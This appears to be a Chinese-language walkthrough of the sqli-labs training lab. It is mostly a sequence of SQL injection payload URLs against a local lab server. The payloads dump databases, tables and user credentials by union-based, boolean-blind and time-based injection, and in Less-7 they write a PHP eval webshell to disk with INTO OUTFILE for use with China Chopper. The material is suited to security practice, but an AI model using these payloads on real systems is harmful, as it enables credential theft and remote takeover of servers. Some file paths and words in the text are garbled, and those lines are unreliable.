http://192.168.169.130:86/Less-1/?id=1' order by 3--+
查看哪些数据可以回显
1
http://192.168.169.130:86/Less-1/?id=-1' UNION SELECT 1,2,3--+
查看当前数据库
1
http://192.168.169.130:86/Less-1/?id=-1' UNION SELECT 1,2,database()--+
查看数据库security
1 2 3
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+ 或 查看所有的数据库 http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查表
1 2 3
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 或 查看所有的: http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
查询列信息
1 2 3
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 或 是查看所以的列信息 http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
查询一个账号和密码
1 2 3
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+ 或 直接可以得到所有的账号和密码,并且使用~符号进行分割。 http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
Less-5 bool盲注
基础知识
left()函数: left(database(),1)=’s’
left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
regexp函数:select user() regexp ‘r’
user()的结果是root,regexp为匹配root的正则表达式
like函数: select user() like ‘ro%
匹配与regexp相似。
substr(a,b,c) elect substr() XXXX
substr(a,b,c)从位置b开始,截取a字符串c位长度
ascii()
将某个字符串转化为ascii值
chr(数字) 或者是ord(‘字母’)
使用python中的两个函数可以判断当前的ascii值是多少
没有错误提示 也没有回显 但是输入错误的话页面会有反应 也就是说 只有 true 和false
查看是否有注入
1
http://127.0.0.1/sqli/Less-5/?id=1'
查看有多少列
1
http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+
判断第一位是否是s,然后使用bp进行爆破处理:
1
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='s'--+
通过返回的长度来确定第二位是多少,最后确定为e,依次类推进行测试。
或者是使用if来进行判断测试: 此时是没有返回的(这种方法是错误的)
1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>156--+
此时返回 you are in…….代表执行成功。
1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+
Less-6 bool盲注(流程同 Less-5)
完整注入流程:
通过二分法猜解得到所有的库,红色为可变参数。
1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+
再次通过二分法可猜解得到security下的所有表。其中,红色为可变参数。
1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+
通过二分法可猜解users内的字段,其中红色为可变参数。
1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+
继续猜解即可得到字段内的值。
1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1--+
select 'testtest' into outfile 'C:\\inetpub\ arget\\sqlilabs\ est.txt';
注意事项: \\
完整注入流程:
报错
1
http://127.0.0.1/sqli/Less-7/?id=1'))--+
查看有多少列
1
http://127.0.0.1/sqli/Less-7/?id=1')) order by 3--+
将一句话木马写入其中
1
http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["a"]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\ est.php' --+
使用中国菜刀访问即可!
Less-8
Less-8 bool盲注
判断此时存在注入漏洞
1
http://127.0.0.1/sqli/Less-8/?id=1’
当3改为4的时候,you are in….消失,说明存在三列。
1
http://127.0.0.1/sqli/Less-8/?id=1' order by 3--+
猜出来当前第一位是s
1
http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)=0x73 --+
或者是使用:
1
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1)) > 16--+ 此时是有回显的。
先通过大于号或者小于号来判断数据库的第一个字母是哪一个
1
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+
也可以使用
1
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+
也可以使用
1
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+
验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u
同理,进行判断表中的字段,然后进行判断。可以得到username,password;
1
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+
同理,进行判断,最后再使用password进行判断。
1
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+
因为猜解速度较慢,可以配合burpsuite或者是sqlmap的脚本来使用。
Less-8 时间盲注
IF(condition,A,B)如果条件condition为true,则执行语句A,否则执行B
使用延迟的方法判断是否存在注入漏洞。当然判断是否存在注入漏洞的方法很多。
1
http://127.0.0.1/sqli/Less-8/?id=1' and sleep(5)--+